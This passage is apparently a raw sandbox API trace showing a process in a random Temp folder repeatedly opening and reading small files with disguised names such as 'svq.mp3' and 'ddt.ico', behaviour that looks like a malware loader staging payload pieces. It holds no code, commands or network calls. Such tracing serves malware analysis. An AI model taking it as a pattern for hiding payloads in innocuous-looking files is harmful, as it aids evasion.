hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.583] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.583] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.583] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.583] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.584] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.584] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.584] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.584] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.584] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.584] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.584] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.584] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.584] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.584] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.584] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.584] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.585] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.585] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.585] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.585] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.585] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.585] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.585] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.585] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.585] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.585] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.586] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.586] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.586] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.586] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.586] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.586] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.586] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.586] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.586] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.586] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.586] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.587] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.587] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.587] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.587] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.587] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.587] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.587] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.587] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.587] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.587] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.587] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.587] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.587] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.588] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.588] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.588] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.588] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.588] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.588] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.588] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.588] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.588] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.588] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.588] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.588] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.588] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.588] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.589] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.589] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.589] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.589] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.589] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.589] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.589] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.589] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.589] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.589] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.590] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.590] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.590] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.590] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.590] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.590] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.590] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.590] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.590] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.590] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.591] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.591] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.591] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.591] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.591] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.591] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.591] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.591] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.591] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.591] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.592] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.592] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.592] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.592] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.592] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.592] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.592] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.592] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.592] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.593] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.593] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.593] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.593] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.593] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.593] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.593] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.593] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.593] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.594] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.594] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.594] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.594] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.594] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.594] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.594] CreateFileW (lpFileName="svq.mp3" (normalized: 